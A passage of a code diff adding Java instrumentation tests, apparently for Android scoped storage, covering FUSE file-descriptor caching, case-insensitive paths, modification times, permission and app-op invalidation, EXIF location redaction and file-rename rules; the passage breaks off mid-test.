+ try (ParcelFileDescriptor readPfd = ParcelFileDescriptor.open(file, MODE_READ_WRITE);
+ ParcelFileDescriptor writePfd = openWithMediaProvider(file, "rw")) {
+ assertRWR(readPfd, writePfd);
+ assertUpperFsFd(writePfd); // With cache
+ }
+ } finally {
+ file.delete();
+ }
+ }
+
+ @Test
+ public void testOpenContentResolverFirstWriteContentResolver() throws Exception {
+ String displayName = "open_content_resolver_write_content_resolver.jpg";
+ File file = new File(getDcimDir(), displayName);
+
+ try {
+ assertThat(file.createNewFile()).isTrue();
+
+ try (ParcelFileDescriptor writePfd = openWithMediaProvider(file, "rw");
+ ParcelFileDescriptor readPfd = ParcelFileDescriptor.open(file, MODE_READ_WRITE)) {
+ assertRWR(readPfd, writePfd);
+ assertLowerFsFdWithPassthrough(file.getPath(), writePfd);
+ }
+ } finally {
+ file.delete();
+ }
+ }
+
+ @Test
+ public void testOpenFilePathFirstWriteFilePath() throws Exception {
+ String displayName = "open_file_path_write_file_path.jpg";
+ File file = new File(getDcimDir(), displayName);
+
+ try {
+ assertThat(file.createNewFile()).isTrue();
+
+ try (ParcelFileDescriptor writePfd = ParcelFileDescriptor.open(file, MODE_READ_WRITE);
+ ParcelFileDescriptor readPfd = openWithMediaProvider(file, "rw")) {
+ assertRWR(readPfd, writePfd);
+ assertUpperFsFd(readPfd); // With cache
+ }
+ } finally {
+ file.delete();
+ }
+ }
+
+ @Test
+ public void testOpenContentResolverFirstWriteFilePath() throws Exception {
+ String displayName = "open_content_resolver_write_file_path.jpg";
+ File file = new File(getDcimDir(), displayName);
+
+ try {
+ assertThat(file.createNewFile()).isTrue();
+
+ try (ParcelFileDescriptor readPfd = openWithMediaProvider(file, "rw");
+ ParcelFileDescriptor writePfd = ParcelFileDescriptor.open(file, MODE_READ_WRITE)) {
+ assertRWR(readPfd, writePfd);
+ assertLowerFsFdWithPassthrough(file.getPath(), readPfd);
+ }
+ } finally {
+ file.delete();
+ }
+ }
+
+ @Test
+ public void testOpenContentResolverWriteOnly() throws Exception {
+ String displayName = "open_content_resolver_write_only.jpg";
+ File file = new File(getDcimDir(), displayName);
+
+ try {
+ assertThat(file.createNewFile()).isTrue();
+
+ // We upgrade 'w' only to 'rw'
+ try (ParcelFileDescriptor writePfd = openWithMediaProvider(file, "w");
+ ParcelFileDescriptor readPfd = openWithMediaProvider(file, "rw")) {
+ assertRWR(readPfd, writePfd);
+ assertRWR(writePfd, readPfd); // Can read on 'w' only pfd
+ assertLowerFsFdWithPassthrough(file.getPath(), writePfd);
+ assertLowerFsFdWithPassthrough(file.getPath(), readPfd);
+ }
+ } finally {
+ file.delete();
+ }
+ }
+
+ @Test
+ public void testOpenContentResolverDup() throws Exception {
+ String displayName = "open_content_resolver_dup.jpg";
+ File file = new File(getDcimDir(), displayName);
+
+ try {
+ file.delete();
+ assertThat(file.createNewFile()).isTrue();
+
+ // Even if we close the original fd, since we have a dup open
+ // the FUSE IO should still bypass the cache
+ try (ParcelFileDescriptor writePfd = openWithMediaProvider(file, "rw");
+ ParcelFileDescriptor writePfdDup = writePfd.dup();
+ ParcelFileDescriptor readPfd = ParcelFileDescriptor.open(file, MODE_READ_WRITE)) {
+ writePfd.close();
+
+ assertRWR(readPfd, writePfdDup);
+ assertLowerFsFdWithPassthrough(file.getPath(), writePfdDup);
+ }
+ } finally {
+ file.delete();
+ }
+ }
+
+ @Test
+ public void testOpenContentResolverClose() throws Exception {
+ String displayName = "open_content_resolver_close.jpg";
+ File file = new File(getDcimDir(), displayName);
+
+ try {
+ byte[] readBuffer = new byte[10];
+ byte[] writeBuffer = new byte[10];
+ Arrays.fill(writeBuffer, (byte) 1);
+
+ assertThat(file.createNewFile()).isTrue();
+
+ // Lower fs open and write
+ ParcelFileDescriptor writePfd = openWithMediaProvider(file, "rw");
+ Os.pwrite(writePfd.getFileDescriptor(), writeBuffer, 0, 10, 0);
+
+ // Close so upper fs open will not use direct_io
+ writePfd.close();
+
+ // Upper fs open and read without direct_io
+ try (ParcelFileDescriptor readPfd = ParcelFileDescriptor.open(file, MODE_READ_WRITE)) {
+ Os.pread(readPfd.getFileDescriptor(), readBuffer, 0, 10, 0);
+
+ // Last write on lower fs is visible via upper fs
+ assertThat(readBuffer).isEqualTo(writeBuffer);
+ assertThat(readPfd.getStatSize()).isEqualTo(writeBuffer.length);
+ }
+ } finally {
+ file.delete();
+ }
+ }
+
+ @Test
+ public void testContentResolverDelete() throws Exception {
+ String displayName = "content_resolver_delete.jpg";
+ File file = new File(getDcimDir(), displayName);
+
+ try {
+ assertThat(file.createNewFile()).isTrue();
+
+ deleteWithMediaProvider(file);
+
+ assertThat(file.exists()).isFalse();
+ assertThat(file.createNewFile()).isTrue();
+ } finally {
+ file.delete();
+ }
+ }
+
+ @Test
+ public void testContentResolverUpdate() throws Exception {
+ String oldDisplayName = "content_resolver_update_old.jpg";
+ String newDisplayName = "content_resolver_update_new.jpg";
+ File oldFile = new File(getDcimDir(), oldDisplayName);
+ File newFile = new File(getDcimDir(), newDisplayName);
+
+ try {
+ assertThat(oldFile.createNewFile()).isTrue();
+ // Publish the pending oldFile before updating with MediaProvider. Not publishing the
+ // file will make MP consider pending from FUSE as explicit IS_PENDING
+ final Uri uri = MediaStore.scanFile(getContentResolver(), oldFile);
+ assertNotNull(uri);
+
+ updateDisplayNameWithMediaProvider(uri,
+ Environment.DIRECTORY_DCIM, oldDisplayName, newDisplayName);
+
+ assertThat(oldFile.exists()).isFalse();
+ assertThat(oldFile.createNewFile()).isTrue();
+ assertThat(newFile.exists()).isTrue();
+ assertThat(newFile.createNewFile()).isFalse();
+ } finally {
+ oldFile.delete();
+ newFile.delete();
+ }
+ }
+
+ void writeAndCheckMtime(final boolean append) throws Exception {
+ File file = new File(getDcimDir(), "update_modifies_mtime.jpg");
+
+ try {
+ assertThat(file.createNewFile()).isTrue();
+ assertThat(file.exists()).isTrue();
+
+ final long creationTime = file.lastModified();
+
+ // File should exist
+ assertNotEquals(creationTime, 0L);
+
+ // Sleep a bit more than 1 second because although
+ // File::lastModified() represents the duration in milliseconds,
+ // has 1 second precision.
+ // With lower sleep durations the test results flakey...
+ Thread.sleep(2000);
+
+ // Modification time should be the same as long the file has not
+ // been modified
+ assertEquals(creationTime, file.lastModified());
+
+ // Sleep a bit more than 1 second because although
+ // File::lastModified() represents the duration in milliseconds,
+ // has 1 second precision.
+ // With lower sleep durations the test results flakey...
+ Thread.sleep(2000);
+
+ // Assert we can write to the file
+ try (FileOutputStream fos = new FileOutputStream(file, append)) {
+ fos.write(BYTES_DATA1);
+ fos.close();
+ }
+
+ final long modificationTime = file.lastModified();
+
+ // As the file has been written, modification time should have
+ // changed
+ assertNotEquals(modificationTime, 0L);
+ assertNotEquals(modificationTime, creationTime);
+ } finally {
+ file.delete();
+ }
+ }
+
+ @Test
+ // There is a minor bug which, alghough fixed in sc-dev (aosp/1834457),
+ // cannot be propagated to the already released sc-release branche
+ // (b/234145920), where mainline-modules are tested.
+ // Skip this test in S to avoid failures in outdated targets.
+ @SdkSuppress(minSdkVersion = 33, codeName = "T")
+ public void testAppendUpdatesMtime() throws Exception {
+ writeAndCheckMtime(true);
+ }
+
+ @Test
+ public void testWriteUpdatesMtime() throws Exception {
+ writeAndCheckMtime(false);
+ }
+
+ @Test
+ @SdkSuppress(minSdkVersion = 31, codeName = "S")
+ public void testDefaultNoIsolatedStorageFlag() throws Exception {
+ assertThat(Environment.isExternalStorageLegacy()).isFalse();
+ }
+
+ @Test
+ public void testCreateLowerCaseDeleteUpperCase() throws Exception {
+ File upperCase = new File(getDownloadDir(), "CREATE_LOWER_DELETE_UPPER");
+ File lowerCase = new File(getDownloadDir(), "create_lower_delete_upper");
+
+ createDeleteCreate(lowerCase, upperCase);
+ }
+
+ @Test
+ public void testCreateUpperCaseDeleteLowerCase() throws Exception {
+ File upperCase = new File(getDownloadDir(), "CREATE_UPPER_DELETE_LOWER");
+ File lowerCase = new File(getDownloadDir(), "create_upper_delete_lower");
+
+ createDeleteCreate(upperCase, lowerCase);
+ }
+
+ @Test
+ public void testCreateMixedCaseDeleteDifferentMixedCase() throws Exception {
+ File mixedCase1 = new File(getDownloadDir(), "CrEaTe_MiXeD_dElEtE_mIxEd");
+ File mixedCase2 = new File(getDownloadDir(), "cReAtE_mIxEd_DeLeTe_MiXeD");
+
+ createDeleteCreate(mixedCase1, mixedCase2);
+ }
+
+ @Test
+ public void testAndroidDataObbDoesNotForgetMount() throws Exception {
+ File dataDir = getContext().getExternalFilesDir(null);
+ File upperCaseDataDir = new File(dataDir.getPath().replace("Android/data", "ANDROID/DATA"));
+
+ File obbDir = getContext().getObbDir();
+ File upperCaseObbDir = new File(obbDir.getPath().replace("Android/obb", "ANDROID/OBB"));
+
+
+ StructStat beforeDataStruct = Os.stat(dataDir.getPath());
+ StructStat beforeObbStruct = Os.stat(obbDir.getPath());
+
+ assertThat(dataDir.exists()).isTrue();
+ assertThat(upperCaseDataDir.exists()).isTrue();
+ assertThat(obbDir.exists()).isTrue();
+ assertThat(upperCaseObbDir.exists()).isTrue();
+
+ StructStat afterDataStruct = Os.stat(upperCaseDataDir.getPath());
+ StructStat afterObbStruct = Os.stat(upperCaseObbDir.getPath());
+
+ assertThat(beforeDataStruct.st_dev).isEqualTo(afterDataStruct.st_dev);
+ assertThat(beforeObbStruct.st_dev).isEqualTo(afterObbStruct.st_dev);
+ }
+
+ @Test
+ public void testCacheConsistencyForCaseInsensitivity() throws Exception {
+ File upperCaseFile = new File(getDownloadDir(), "CACHE_CONSISTENCY_FOR_CASE_INSENSITIVITY");
+ File lowerCaseFile = new File(getDownloadDir(), "cache_consistency_for_case_insensitivity");
+
+ try (ParcelFileDescriptor upperCasePfd =
+ ParcelFileDescriptor.open(upperCaseFile, MODE_READ_WRITE | MODE_CREATE);
+ ParcelFileDescriptor lowerCasePfd =
+ ParcelFileDescriptor.open(lowerCaseFile, MODE_READ_WRITE | MODE_CREATE)) {
+
+ assertRWR(upperCasePfd, lowerCasePfd);
+ assertRWR(lowerCasePfd, upperCasePfd);
+ } finally {
+ upperCaseFile.delete();
+ lowerCaseFile.delete();
+ }
+ }
+
+ @Test
+ public void testInsertDefaultPrimaryCaseInsensitiveCheck() throws Exception {
+ final File podcastsDir = getPodcastsDir();
+ final File podcastsDirLowerCase =
+ new File(getExternalStorageDir(), Environment.DIRECTORY_PODCASTS.toLowerCase());
+ final File fileInPodcastsDirLowerCase = new File(podcastsDirLowerCase, AUDIO_FILE_NAME);
+ try {
+ // Delete the directory if it already exists
+ if (podcastsDir.exists()) {
+ deleteRecursivelyAsLegacyApp(podcastsDir);
+ }
+ assertThat(podcastsDir.exists()).isFalse();
+ assertThat(podcastsDirLowerCase.exists()).isFalse();
+
+ // Create the directory with lower case
+ assertThat(podcastsDirLowerCase.mkdir()).isTrue();
+ // Because of case-insensitivity, even though directory is created
+ // with lower case, we should be able to see both directory names.
+ assertThat(podcastsDirLowerCase.exists()).isTrue();
+ assertThat(podcastsDir.exists()).isTrue();
+
+ // File creation with lower case path of podcasts directory should not fail
+ assertThat(fileInPodcastsDirLowerCase.createNewFile()).isTrue();
+ } finally {
+ fileInPodcastsDirLowerCase.delete();
+ deleteRecursivelyAsLegacyApp(podcastsDirLowerCase);
+ podcastsDir.mkdirs();
+ }
+ }
+
+ private void createDeleteCreate(File create, File delete) throws Exception {
+ try {
+ assertThat(create.createNewFile()).isTrue();
+ // Wait for the kernel to update the dentry cache.
+ Thread.sleep(100);
+
+ assertThat(delete.delete()).isTrue();
+ // Wait for the kernel to clean up the dentry cache.
+ Thread.sleep(100);
+
+ assertThat(create.createNewFile()).isTrue();
+ // Wait for the kernel to update the dentry cache.
+ Thread.sleep(100);
+ } finally {
+ create.delete();
+ delete.delete();
+ }
+ }
+
+ @Test
+ public void testReadStorageInvalidation() throws Exception {
+ if (SdkLevel.isAtLeastT()) {
+ testAppOpInvalidation(
+ APP_E,
+ new File(getDcimDir(), "read_storage.jpg"),
+ Manifest.permission.READ_MEDIA_IMAGES,
+ AppOpsManager.OPSTR_READ_MEDIA_IMAGES,
+ /* forWrite */ false);
+ } else {
+ testAppOpInvalidation(APP_E, new File(getDcimDir(), "read_storage.jpg"),
+ Manifest.permission.READ_EXTERNAL_STORAGE,
+ AppOpsManager.OPSTR_READ_EXTERNAL_STORAGE, /* forWrite */ false);
+ }
+ }
+
+ @Test
+ public void testWriteStorageInvalidation() throws Exception {
+ testAppOpInvalidation(APP_E_LEGACY, new File(getDcimDir(), "write_storage.jpg"),
+ Manifest.permission.WRITE_EXTERNAL_STORAGE,
+ AppOpsManager.OPSTR_WRITE_EXTERNAL_STORAGE, /* forWrite */ true);
+ }
+
+ @Test
+ public void testManageStorageInvalidation() throws Exception {
+ testAppOpInvalidation(APP_E, new File(getDownloadDir(), "manage_storage.pdf"),
+ /* permission */ null, OPSTR_MANAGE_EXTERNAL_STORAGE, /* forWrite */ true);
+ }
+
+ @Test
+ public void testWriteImagesInvalidation() throws Exception {
+ testAppOpInvalidation(APP_E, new File(getDcimDir(), "write_images.jpg"),
+ /* permission */ null, AppOpsManager.OPSTR_WRITE_MEDIA_IMAGES, /* forWrite */ true);
+ }
+
+ @Test
+ public void testWriteVideoInvalidation() throws Exception {
+ testAppOpInvalidation(APP_E, new File(getDcimDir(), "write_video.mp4"),
+ /* permission */ null, AppOpsManager.OPSTR_WRITE_MEDIA_VIDEO, /* forWrite */ true);
+ }
+
+ @Test
+ public void testAccessMediaLocationInvalidation() throws Exception {
+ File imgFile = new File(getDcimDir(), "access_media_location.jpg");
+
+ try {
+ // Setup image with sensitive data on external storage
+ HashMap<String, String> originalExif =
+ getExifMetadataFromRawResource(R.raw.img_with_metadata);
+ try (InputStream in =
+ getContext().getResources().openRawResource(R.raw.img_with_metadata);
+ FileOutputStream out = new FileOutputStream(imgFile)) {
+ // Dump the image we have to external storage
+ FileUtils.copy(in, out);
+ // Sync file to disk to ensure file is fully written to the lower fs.
+ out.getFD().sync();
+ }
+ HashMap<String, String> exif = getExifMetadataFromFile(imgFile);
+ assertExifMetadataMatch(exif, originalExif);
+
+ // Install test app
+ installAppWithStoragePermissions(APP_GENERAL_ONLY);
+
+ // Grant A_M_L and verify access to sensitive data
+ grantPermission(APP_GENERAL_ONLY.getPackageName(), Manifest.permission.ACCESS_MEDIA_LOCATION);
+ pollForPermission(APP_GENERAL_ONLY.getPackageName(),
+ Manifest.permission.ACCESS_MEDIA_LOCATION, /* granted */ true);
+ HashMap<String, String> exifFromTestApp =
+ readExifMetadataFromTestApp(APP_GENERAL_ONLY, imgFile.getPath());
+ assertExifMetadataMatch(exifFromTestApp, originalExif);
+
+ // Revoke A_M_L and verify sensitive data redaction
+ revokePermission(
+ APP_GENERAL_ONLY.getPackageName(), Manifest.permission.ACCESS_MEDIA_LOCATION);
+ // revokePermission waits for permission status to be updated, but MediaProvider still
+ // needs to get permission change callback and clear its permission cache.
+ pollForPermission(APP_GENERAL_ONLY.getPackageName(),
+ Manifest.permission.ACCESS_MEDIA_LOCATION, /* granted */ false);
+ Thread.sleep(500);
+ exifFromTestApp = readExifMetadataFromTestApp(APP_GENERAL_ONLY, imgFile.getPath());
+ assertExifMetadataMismatch(exifFromTestApp, originalExif);
+
+ // Re-grant A_M_L and verify access to sensitive data
+ grantPermission(APP_GENERAL_ONLY.getPackageName(), Manifest.permission.ACCESS_MEDIA_LOCATION);
+ // grantPermission waits for permission status to be updated, but MediaProvider still
+ // needs to get permission change callback and clear its permission cache.
+ pollForPermission(APP_GENERAL_ONLY.getPackageName(),
+ Manifest.permission.ACCESS_MEDIA_LOCATION, /* granted */ true);
+ Thread.sleep(500);
+ exifFromTestApp = readExifMetadataFromTestApp(APP_GENERAL_ONLY, imgFile.getPath());
+ assertExifMetadataMatch(exifFromTestApp, originalExif);
+ } finally {
+ imgFile.delete();
+ uninstallAppNoThrow(APP_GENERAL_ONLY);
+ }
+ }
+
+ @Test
+ public void testAppUpdateInvalidation() throws Exception {
+ File file = new File(getDcimDir(), "app_update.jpg");
+ try {
+ assertThat(file.createNewFile()).isTrue();
+
+ addressStoragePermissions(APP_E_LEGACY.getPackageName(), true);
+ grantPermission(APP_E_LEGACY.getPackageName(),
+ Manifest.permission.WRITE_EXTERNAL_STORAGE); // Grants write access for legacy
+
+ // Legacy app can read and write media files contributed by others
+ assertThat(canOpenFileAs(APP_E_LEGACY, file, /* forWrite */ false)).isTrue();
+ assertThat(canOpenFileAs(APP_E_LEGACY, file, /* forWrite */ true)).isTrue();
+
+ // Update to non-legacy
+ addressStoragePermissions(APP_E.getPackageName(), true);
+ grantPermission(APP_E_LEGACY.getPackageName(),
+ Manifest.permission.WRITE_EXTERNAL_STORAGE); // No effect for non-legacy
+
+ // Non-legacy app can read media files contributed by others
+ assertThat(canOpenFileAs(APP_E, file, /* forWrite */ false)).isTrue();
+ // But cannot write
+ assertThat(canOpenFileAs(APP_E, file, /* forWrite */ true)).isFalse();
+ } finally {
+ file.delete();
+ revokePermission(APP_E_LEGACY.getPackageName(),
+ Manifest.permission.WRITE_EXTERNAL_STORAGE);
+ }
+ }
+
+ @Test
+ public void testAppReinstallInvalidation() throws Exception {
+ File file = new File(getDcimDir(), "app_reinstall.jpg");
+
+ try {
+ assertThat(file.createNewFile()).isTrue();
+
+ // Install
+ installAppWithStoragePermissions(APP_GENERAL_ONLY);
+ assertThat(canOpenFileAs(APP_GENERAL_ONLY, file, /* forWrite */ false)).isTrue();
+
+ // Re-install
+ uninstallAppNoThrow(APP_GENERAL_ONLY);
+ installApp(APP_GENERAL_ONLY);
+ assertThat(canOpenFileAs(APP_GENERAL_ONLY, file, /* forWrite */ false)).isFalse();
+ } finally {
+ file.delete();
+ uninstallAppNoThrow(APP_GENERAL_ONLY);
+ }
+ }
+
+ private void testAppOpInvalidation(TestApp app, File file, @Nullable String permission,
+ String opstr, boolean forWrite) throws Exception {
+ try {
+ addressStoragePermissions(app.getPackageName(), false);
+ assertThat(file.createNewFile()).isTrue();
+ assertAppOpInvalidation(app, file, permission, opstr, forWrite);
+ } finally {
+ file.delete();
+ }
+ }
+
+ /** If {@code permission} is null, appops are flipped, otherwise permissions are flipped */
+ private void assertAppOpInvalidation(TestApp app, File file, @Nullable String permission,
+ String opstr, boolean forWrite) throws Exception {
+ String packageName = app.getPackageName();
+ int uid = getContext().getPackageManager().getPackageUid(packageName, 0);
+
+ // Deny
+ if (permission != null) {
+ revokePermission(packageName, permission);
+ } else {
+ denyAppOpsToUid(uid, opstr);
+ // TODO(191724755): Poll for AppOp state change instead
+ Thread.sleep(200);
+ }
+ assertThat(canOpenFileAs(app, file, forWrite)).isFalse();
+
+ // Grant
+ if (permission != null) {
+ grantPermission(packageName, permission);
+ } else {
+ allowAppOpsToUid(uid, opstr);
+ // TODO(191724755): Poll for AppOp state change instead
+ Thread.sleep(200);
+ }
+ assertThat(canOpenFileAs(app, file, forWrite)).isTrue();
+ // Deny
+ if (permission != null) {
+ revokePermission(packageName, permission);
+ } else {
+ denyAppOpsToUid(uid, opstr);
+ // TODO(191724755): Poll for AppOp state change instead
+ Thread.sleep(200);
+ }
+ assertThat(canOpenFileAs(app, file, forWrite)).isFalse();
+ }
+
+ @Test
+ @SdkSuppress(minSdkVersion = 31, codeName = "S")
+ public void testDisableOpResetForSystemGallery() throws Exception {
+ final File otherAppImageFile = new File(getDcimDir(), "other_" + IMAGE_FILE_NAME);
+ final File otherAppVideoFile = new File(getDcimDir(), "other_" + VIDEO_FILE_NAME);
+
+ try {
+ allowAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
+
+ // Have another app create an image file
+ assertThat(createFileAs(APP_B_NO_PERMS, otherAppImageFile.getPath())).isTrue();
+ assertThat(otherAppImageFile.exists()).isTrue();
+
+ // Have another app create a video file
+ assertThat(createFileAs(APP_B_NO_PERMS, otherAppVideoFile.getPath())).isTrue();
+ assertThat(otherAppVideoFile.exists()).isTrue();
+
+ assertCanWriteAndRead(otherAppImageFile, BYTES_DATA1);
+ assertCanWriteAndRead(otherAppVideoFile, BYTES_DATA1);
+
+ // Reset app op should not reset System Gallery privileges
+ executeShellCommand("appops reset " + THIS_PACKAGE_NAME);
+
+ // Assert we can still write to images/videos
+ assertCanWriteAndRead(otherAppImageFile, BYTES_DATA2);
+ assertCanWriteAndRead(otherAppVideoFile, BYTES_DATA2);
+
+ } finally {
+ deleteFileAsNoThrow(APP_B_NO_PERMS, otherAppImageFile.getAbsolutePath());
+ deleteFileAsNoThrow(APP_B_NO_PERMS, otherAppVideoFile.getAbsolutePath());
+ denyAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
+ }
+ }
+
+ @Test
+ public void testSystemGalleryAppHasFullAccessToImages() throws Exception {
+ final File otherAppImageFile = new File(getDcimDir(), "other_" + IMAGE_FILE_NAME);
+ final File topLevelImageFile = new File(getExternalStorageDir(), IMAGE_FILE_NAME);
+ final File imageInAnObviouslyWrongPlace = new File(getMusicDir(), IMAGE_FILE_NAME);
+
+ try {
+ allowAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
+
+ // Have another app create an image file
+ assertThat(createFileAs(APP_B_NO_PERMS, otherAppImageFile.getPath())).isTrue();
+ assertThat(otherAppImageFile.exists()).isTrue();
+
+ // Assert we can write to the file
+ try (FileOutputStream fos = new FileOutputStream(otherAppImageFile)) {
+ fos.write(BYTES_DATA1);
+ }
+
+ // Assert we can read from the file
+ assertFileContent(otherAppImageFile, BYTES_DATA1);
+
+ // Assert has access to redacted information
+ RedactionTestHelper.assertConsistentNonRedactedAccess(otherAppImageFile,
+ R.raw.img_with_metadata);
+
+ // Assert we can delete the file
+ assertThat(otherAppImageFile.delete()).isTrue();
+ assertThat(otherAppImageFile.exists()).isFalse();
+
+ // Can create an image anywhere
+ assertCanCreateFile(topLevelImageFile);
+ assertCanCreateFile(imageInAnObviouslyWrongPlace);
+
+ // Put the file back in its place and let APP B delete it
+ assertThat(otherAppImageFile.createNewFile()).isTrue();
+ } finally {
+ deleteFileAsNoThrow(APP_B_NO_PERMS, otherAppImageFile.getAbsolutePath());
+ otherAppImageFile.delete();
+ denyAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
+ }
+ }
+
+ @Test
+ public void testSystemGalleryAppHasNoFullAccessToAudio() throws Exception {
+ final File otherAppAudioFile = new File(getMusicDir(), "other_" + AUDIO_FILE_NAME);
+ final File topLevelAudioFile = new File(getExternalStorageDir(), AUDIO_FILE_NAME);
+ final File audioInAnObviouslyWrongPlace = new File(getPicturesDir(), AUDIO_FILE_NAME);
+
+ try {
+ allowAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
+
+ // Have another app create an audio file
+ assertThat(createFileAs(APP_B_NO_PERMS, otherAppAudioFile.getPath())).isTrue();
+ assertThat(otherAppAudioFile.exists()).isTrue();
+
+ // Assert we can't access the file
+ assertThat(canOpen(otherAppAudioFile, /* forWrite */ false)).isFalse();
+ assertThat(canOpen(otherAppAudioFile, /* forWrite */ true)).isFalse();
+
+ // Assert we can't delete the file
+ assertThat(otherAppAudioFile.delete()).isFalse();
+
+ // Can't create an audio file where it doesn't belong
+ assertThrows(IOException.class, "Operation not permitted",
+ () -> {
+ topLevelAudioFile.createNewFile();
+ });
+ assertThrows(IOException.class, "Operation not permitted",
+ () -> {
+ audioInAnObviouslyWrongPlace.createNewFile();
+ });
+ } finally {
+ deleteFileAs(APP_B_NO_PERMS, otherAppAudioFile.getPath());
+ topLevelAudioFile.delete();
+ audioInAnObviouslyWrongPlace.delete();
+ denyAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
+ }
+ }
+
+ @Test
+ public void testSystemGalleryCanRenameImagesAndVideos() throws Exception {
+ final File otherAppVideoFile = new File(getDcimDir(), "other_" + VIDEO_FILE_NAME);
+ final File imageFile = new File(getPicturesDir(), IMAGE_FILE_NAME);
+ final File videoFile = new File(getPicturesDir(), VIDEO_FILE_NAME);
+ final File topLevelVideoFile = new File(getExternalStorageDir(), VIDEO_FILE_NAME);
+ final File musicFile = new File(getMusicDir(), AUDIO_FILE_NAME);
+ try {
+ allowAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
+
+ // Have another app create a video file
+ assertThat(createFileAs(APP_B_NO_PERMS, otherAppVideoFile.getPath())).isTrue();
+ assertThat(otherAppVideoFile.exists()).isTrue();
+
+ // Write some data to the file
+ try (FileOutputStream fos = new FileOutputStream(otherAppVideoFile)) {
+ fos.write(BYTES_DATA1);
+ }
+ assertFileContent(otherAppVideoFile, BYTES_DATA1);
+
+ // Assert we can rename the file and ensure the file has the same content
+ assertCanRenameFile(otherAppVideoFile, videoFile);
+ assertFileContent(videoFile, BYTES_DATA1);
+ // We can even move it to the top level directory
+ assertCanRenameFile(videoFile, topLevelVideoFile);
+ assertFileContent(topLevelVideoFile, BYTES_DATA1);
+ // And we can even convert it into an image file, because why not?
+ assertCanRenameFile(topLevelVideoFile, imageFile);
+ assertFileContent(imageFile, BYTES_DATA1);
+
+ // We can convert it to a music file, but we won't have access to music file after
+ // renaming.
+ assertThat(imageFile.renameTo(musicFile)).isTrue();
+ assertThat(getFileRowIdFromDatabase(musicFile)).isEqualTo(-1);
+ } finally {
+ deleteFileAsNoThrow(APP_B_NO_PERMS, otherAppVideoFile.getAbsolutePath());
+ imageFile.delete();
+ videoFile.delete();
+ topLevelVideoFile.delete();
+ executeShellCommand("rm " + musicFile.getAbsolutePath());
+ MediaStore.scanFile(getContentResolver(), musicFile);
+ denyAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
+ }
+ }
+
+ /**
+ * Test that basic file path restrictions are enforced on file rename.
+ */
+ @Test
+ public void testRenameFile() throws Exception {
+ final File downloadDir = getDownloadDir();
+ final File nonMediaDir = new File(downloadDir, TEST_DIRECTORY_NAME);
+ final File pdfFile1 = new File(downloadDir, NONMEDIA_FILE_NAME);
+ final File pdfFile2 = new File(nonMediaDir, NONMEDIA_FILE_NAME);
+ final File videoFile1 = new File(getDcimDir(), VIDEO_FILE_NAME);
+ final File videoFile2 = new File(getMoviesDir(), VIDEO_FILE_NAME);
+ final File videoFile3 = new File(downloadDir, VIDEO_FILE_NAME);
+
+ try {
+ // Renaming non media file to media directory is not allowed.
+ assertThat(pdfFile1.createNewFile()).isTrue();
+ assertCantRenameFile(pdfFile1, new File(getDcimDir(), NONMEDIA_FILE_NAME));
+ assertCantRenameFile(pdfFile1, new File(getMusicDir(), NONMEDIA_FILE_NAME));
+ assertCantRenameFile(pdfFile1, new File(getMoviesDir(), NONMEDIA_FILE_NAME));
+
+ // Renaming non media files to non media directories is allowed.
+ if (!nonMediaDir.exists()) {
+ assertThat(nonMediaDir.mkdirs()).isTrue();
+ }
+ // App can rename pdfFile to non media directory.
+ assertCanRenameFile(pdfFile1, pdfFile2);
+
+ assertThat(videoFile1.createNewFile()).isTrue();
+ // App can rename video file to Movies directory
+ assertCanRenameFile(videoFile1, videoFile2);
+ // App can rename video file to Download directory
+ assertCanRenameFile(videoFile2, videoFile3);
+ } finally {
+ pdfFile1.delete();
+ pdfFile2.delete();
+ videoFile1.delete();
+ videoFile2.delete();
+ videoFile3.delete();
+ deleteRecursively(nonMediaDir);
+ }
+ }
+
+ /**
+ * Test that renaming file to different mime type is allowed.
+ */
+ @Test
+ public void testRenameFileType() throws Exception {
+ final File pdfFile = new File(getDownloadDir(), NONMEDIA_FILE_NAME);
+ final File videoFile = new File(getDcimDir(), VIDEO_FILE_NAME);
+ try {
+ assertThat(pdfFile.createNewFile()).isTrue();
+ assertThat(videoFile.exists()).isFalse();
+ // Moving pdfFile to DCIM directory is not allowed.
+ assertCantRenameFile(pdfFile, new File(getDcimDir(), NONMEDIA_FILE_NAME));
+ // However, moving pdfFile to DCIM directory with changing the mime type to video is
+ // allowed.
+ assertCanRenameFile(pdfFile, videoFile);
+
+ // On rename, MediaProvider database entry for pdfFile should be updated with new
+ // videoFile path and mime type should be updated to video/mp4.
+ assertThat(getFileMimeTypeFromDatabase(videoFile)).isEqualTo("video/mp4");
+ } finally {
+ pdfFile.delete();
+ videoFile.delete();
+ }
+ }
+
+ /**
+ * Test that renaming files overwrites files in newPath.
+ */
+ @Test
+ public void testRenameAndReplaceFile() throws Exception {
+ final File videoFile1 = new File(getDcimDir(), VIDEO_FILE_NAME);
+ final File videoFile2 = new File(getMoviesDir(), VIDEO_FILE_NAME);
+ final ContentResolver cr = getContentResolver();
+ try {
+ assertThat(videoFile1.createNewFile()).isTrue();
+ assertThat(videoFile2.createNewFile()).isTrue();
+ final Uri uriVideoFile1 = MediaStore.scanFile(cr, videoFile1);
+ final Uri uriVideoFile2 = MediaStore.scanFile(cr, videoFile2);
+
+ // Renaming a file which replaces file in newPath videoFile2 is allowed.
+ assertCanRenameFile(videoFile1, videoFile2);
+
+ // Uri of videoFile2 should be accessible after rename.
+ try (ParcelFileDescriptor pfd = cr.openFileDescriptor(uriVideoFile2, "rw")) {
+ assertThat(pfd).isNotNull();
+ }
+
+ // Uri of videoFile1 should not be accessible after rename.
+ assertThrows(FileNotFoundException.class,
+ () -> {
+ cr.openFileDescriptor(uriVideoFile1, "rw");
+ });
+ } finally {
+ videoFile1.delete();
+ videoFile2.delete();
+ }
+ }
+
+ /**
+ * Test that ScanFile() after renaming file extension updates the right
+ * MIME type from the file metadata.
+ */
+ @Test
+ public void testScanUpdatesMimeTypeForRenameFileExtension() throws Exception {
+ final String audioFileName = "ScopedStorageDeviceTest_" + NONCE;
+ final File mpegFile = new File(getMusicDir(), audioFileName + ".mp3");
+ final File nonMpegFile = new File(getMusicDir(), audioFileName + ".snd");
+ try {
+ // Copy audio content to mpegFile
